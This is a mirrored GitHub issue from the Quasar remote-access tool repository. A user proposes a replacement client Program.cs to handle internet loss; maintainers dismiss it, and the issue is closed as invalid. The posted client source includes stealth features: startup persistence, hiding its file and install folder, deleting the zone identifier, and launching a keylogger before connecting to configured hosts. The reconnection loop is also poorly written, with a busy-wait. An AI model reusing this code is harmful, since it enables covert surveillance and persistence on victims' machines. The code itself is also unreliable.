[GH-ISSUE #586] Client crash In the absence of Internet #344

Closed
opened 2026-02-27 15:49:58 +03:00 by kerem · 2 comments
Owner

Originally created by @rezaf28 on GitHub (Feb 24, 2017).
Original GitHub issue: https://github.com/quasar/Quasar/issues/586

change Client program.cs codes with this code :
`
using System;
using System.Diagnostics;
using System.IO;
using System.Threading;
using System.Windows.Forms;
using xClient.Config;
using xClient.Core.Commands;
using xClient.Core.Cryptography;
using xClient.Core.Data;
using xClient.Core.Helper;
using xClient.Core.Installation;
using xClient.Core.Networking;
using xClient.Core.Utilities;
using System.Net;
using System.Threading.Tasks;

namespace xClient
{
internal static class Program
{
public static QuasarClient ConnectClient;
private static ApplicationContext _msgLoop;

    public static bool CheckForInternetConnection()

{
try
{
using (var client = new WebClient())
{
using (var stream = client.OpenRead("http://dynupdate.no-ip.com/nic/update"))
{
return true;
}
}
}
catch
{
return false;
}
}

    [STAThread]
    private static void Main(string[] args)
    {
	
        Application.EnableVisualStyles();
        Application.SetCompatibleTextRenderingDefault(false);
        AppDomain.CurrentDomain.UnhandledException += HandleUnhandledException;
        
        Action action1 = () =>
        {
           	ConnectClient.Connect();
        };


        Action action2 = () =>
        {
        	ConnectClient.Disconnect();
        };

        Task t1 = new Task(action1);
        Task t2 = new Task(action2);
        
        var counter = 1;
        var counter2 = 1;
        
        // this is if commands.
        if (Settings.Initialize())
        {
            if (Initialize())
            {
            	if (!QuasarClient.Exiting) {
            		
            		while (counter == 1)
            		{
            			Thread.Sleep(5000);
            			if (!CheckForInternetConnection()) 
            			{
            			t2.Start();
            			counter2 = 1;
            			}
            			
            			Thread.Sleep(500);
            			while (counter2 != 2)
            			{ 
            			if (CheckForInternetConnection())
            			{
            				t1.Start();
            				counter2 = 2;
            			}
            				
            			}

            			}

            		}
            		
            	}
                              
        Cleanup();
        Exit();
    }
    }

    private static void Exit()
    {
        // Don't wait for other threads
        if (_msgLoop != null || Application.MessageLoop)
            Application.Exit();
        else
            Environment.Exit(0);
    }

    private static void HandleUnhandledException(object sender, UnhandledExceptionEventArgs e)
    {
        if (e.IsTerminating)
        {
            string batchFile = FileHelper.CreateRestartBatch();
            if (string.IsNullOrEmpty(batchFile)) return;

            ProcessStartInfo startInfo = new ProcessStartInfo
            {
                WindowStyle = ProcessWindowStyle.Hidden,
                UseShellExecute = true,
                FileName = batchFile
            };
            Process.Start(startInfo);
            Exit();
        }
    }

    private static void Cleanup()
    {
        CommandHandler.CloseShell();
        if (CommandHandler.StreamCodec != null)
            CommandHandler.StreamCodec.Dispose();
        if (Keylogger.Instance != null)
            Keylogger.Instance.Dispose();
        if (_msgLoop != null)
        {
            _msgLoop.ExitThread();
            _msgLoop.Dispose();
            _msgLoop = null;
        }
        MutexHelper.CloseMutex();
    }

    private static bool Initialize()
    {
        var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));

        // process with same mutex is already running
        if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION)) // no hosts to connect
            return false;

        AES.SetDefaultKey(Settings.KEY, Settings.AUTHKEY);
        ClientData.InstallPath = Path.Combine(Settings.DIRECTORY, ((!string.IsNullOrEmpty(Settings.SUBDIRECTORY)) ? Settings.SUBDIRECTORY + @"\" : "") + Settings.INSTALLNAME);
        GeoLocationHelper.Initialize();
        
        FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath);

        if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath)
        {
            WindowsAccountHelper.StartUserIdleCheckThread();

            if (Settings.STARTUP)
            {
                if (!Startup.AddToStartup())
                    ClientData.AddToStartupFailed = true;
            }

            if (Settings.INSTALL && Settings.HIDEFILE)
            {
                try
                {
                    File.SetAttributes(ClientData.CurrentPath, FileAttributes.Hidden);
                }
                catch (Exception)
                {
                }
            }
            if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY))
            {
                try
                {
                    DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(ClientData.InstallPath));
                    di.Attributes |= FileAttributes.Hidden;

                }
                catch (Exception)
                {
                }
            }
            if (Settings.ENABLELOGGER)
            {
                new Thread(() =>
                {
                    _msgLoop = new ApplicationContext();
                    Keylogger logger = new Keylogger(15000);
                    Application.Run(_msgLoop);
                }) {IsBackground = true}.Start();
            }

            ConnectClient = new QuasarClient(hosts);
            return true;
        }
        else
        {
            MutexHelper.CloseMutex();
            ClientInstaller.Install(ConnectClient);
            return false;
        }
    }
}

}
`

Originally created by @rezaf28 on GitHub (Feb 24, 2017). Original GitHub issue: https://github.com/quasar/Quasar/issues/586 change Client program.cs codes with this code : ` using System; using System.Diagnostics; using System.IO; using System.Threading; using System.Windows.Forms; using xClient.Config; using xClient.Core.Commands; using xClient.Core.Cryptography; using xClient.Core.Data; using xClient.Core.Helper; using xClient.Core.Installation; using xClient.Core.Networking; using xClient.Core.Utilities; using System.Net; using System.Threading.Tasks; namespace xClient { internal static class Program { public static QuasarClient ConnectClient; private static ApplicationContext _msgLoop; public static bool CheckForInternetConnection() { try { using (var client = new WebClient()) { using (var stream = client.OpenRead("http://dynupdate.no-ip.com/nic/update")) { return true; } } } catch { return false; } } [STAThread] private static void Main(string[] args) { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); AppDomain.CurrentDomain.UnhandledException += HandleUnhandledException; Action action1 = () => { ConnectClient.Connect(); }; Action action2 = () => { ConnectClient.Disconnect(); }; Task t1 = new Task(action1); Task t2 = new Task(action2); var counter = 1; var counter2 = 1; // this is if commands. if (Settings.Initialize()) { if (Initialize()) { if (!QuasarClient.Exiting) { while (counter == 1) { Thread.Sleep(5000); if (!CheckForInternetConnection()) { t2.Start(); counter2 = 1; } Thread.Sleep(500); while (counter2 != 2) { if (CheckForInternetConnection()) { t1.Start(); counter2 = 2; } } } } } Cleanup(); Exit(); } } private static void Exit() { // Don't wait for other threads if (_msgLoop != null || Application.MessageLoop) Application.Exit(); else Environment.Exit(0); } private static void HandleUnhandledException(object sender, UnhandledExceptionEventArgs e) { if (e.IsTerminating) { string batchFile = FileHelper.CreateRestartBatch(); if (string.IsNullOrEmpty(batchFile)) return; ProcessStartInfo startInfo = new ProcessStartInfo { WindowStyle = ProcessWindowStyle.Hidden, UseShellExecute = true, FileName = batchFile }; Process.Start(startInfo); Exit(); } } private static void Cleanup() { CommandHandler.CloseShell(); if (CommandHandler.StreamCodec != null) CommandHandler.StreamCodec.Dispose(); if (Keylogger.Instance != null) Keylogger.Instance.Dispose(); if (_msgLoop != null) { _msgLoop.ExitThread(); _msgLoop.Dispose(); _msgLoop = null; } MutexHelper.CloseMutex(); } private static bool Initialize() { var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS)); // process with same mutex is already running if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION)) // no hosts to connect return false; AES.SetDefaultKey(Settings.KEY, Settings.AUTHKEY); ClientData.InstallPath = Path.Combine(Settings.DIRECTORY, ((!string.IsNullOrEmpty(Settings.SUBDIRECTORY)) ? Settings.SUBDIRECTORY + @"\" : "") + Settings.INSTALLNAME); GeoLocationHelper.Initialize(); FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath); if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath) { WindowsAccountHelper.StartUserIdleCheckThread(); if (Settings.STARTUP) { if (!Startup.AddToStartup()) ClientData.AddToStartupFailed = true; } if (Settings.INSTALL && Settings.HIDEFILE) { try { File.SetAttributes(ClientData.CurrentPath, FileAttributes.Hidden); } catch (Exception) { } } if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY)) { try { DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(ClientData.InstallPath)); di.Attributes |= FileAttributes.Hidden; } catch (Exception) { } } if (Settings.ENABLELOGGER) { new Thread(() => { _msgLoop = new ApplicationContext(); Keylogger logger = new Keylogger(15000); Application.Run(_msgLoop); }) {IsBackground = true}.Start(); } ConnectClient = new QuasarClient(hosts); return true; } else { MutexHelper.CloseMutex(); ClientInstaller.Install(ConnectClient); return false; } } } } `
kerem 2026-02-27 15:49:58 +03:00
  • closed this issue
  • added the
    invalid
    label
Author
Owner

@abdullah2993 commented on GitHub (Feb 25, 2017):

Send a PR?

<!-- gh-comment-id:282460076 --> @abdullah2993 commented on GitHub (Feb 25, 2017): Send a PR?
Author
Owner

@yankejustin commented on GitHub (Mar 21, 2017):

I am not too sure what is going on in this new implementation. I think the client handles disconnections from the internet pretty gracefully already. It will automatically reconnect and that reconnection period can even be set. I just see no reason to re-invent the wheel when it is not even as good as the current method of staying connected.

<!-- gh-comment-id:288090387 --> @yankejustin commented on GitHub (Mar 21, 2017): I am not too sure what is going on in this new implementation. I think the client handles disconnections from the internet pretty gracefully already. It will automatically reconnect and that reconnection period can even be set. I just see no reason to re-invent the wheel when it is not even as good as the current method of staying connected.
Sign in to join this conversation.
No milestone
No project
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference
starred/Quasar#344
No description provided.